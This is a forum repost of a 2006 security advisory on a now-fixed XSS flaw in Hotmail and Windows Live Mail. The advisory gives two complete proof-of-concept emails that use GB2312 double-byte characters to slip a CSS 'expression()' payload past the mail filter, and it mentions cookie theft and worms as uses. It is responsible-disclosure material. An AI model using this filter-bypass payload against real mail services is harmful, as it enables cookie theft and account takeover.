Jump to content
alexcargo

Hotmail and Windows Live Mail XSS Vulnerabilities

Recommended Posts

Introduction:

Hotmail and Windows Live Mail are both web-based e-mail services by

Microsoft.

Details:

Hotmail's filter identifies "expression()" syntax in a CSS attribute.

According to Hasegawa Yosuke's

post(http://archive.openmya.devnull.jp/2006.08/msg00369.html), in some

character encodings(e.g. GB2312), we can substitute some special double-byte

chars for the corresponding chars in "expression()". In this case, we

can create a malformed CSS attribute, which Hotmail's filter fails to

inspect and filter the "expression()" syntax.

An example:

Hotmail

--------------------------------------------------

MIME-Version: 1.0

From: user<user@site.com>

Content-Type: text/html; charset=GB2312

Subject: example

<img id='sss'>

<input id='ttt' value="javascript:alert('xss')">

<span style="font-family:[ascii 163][asii 197]xpression[ascii

163][ascii 168]document.all.sss.src=document.all.ttt.value)">exploited</span>

.

--------------------------------------------------

Windows Live Mail

--------------------------------------------------

MIME-Version: 1.0

From: user<user@site.com>

Content-Type: text/html; charset=GB2312

Subject: example

<img id='sss'>

<input id='ttt' value="javascript:alert('xss')">

<span style="font-family:[ascii 163][asii 197]xpression[ascii

163][ascii

168]document.all.EC_sss.src=document.all.EC_ttt.value)">exploited</span>

.

--------------------------------------------------

the injected code inside the CSS attribute is responsible for

-Getting cookies.

-Potential web-based e-mail worm.

Vender status:

Microsoft was notified on Sep 25th, 2006.

The bug is now fixed.

Original advisory:

http://applesoup.googlepages.com/hotmail_xss.txt

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...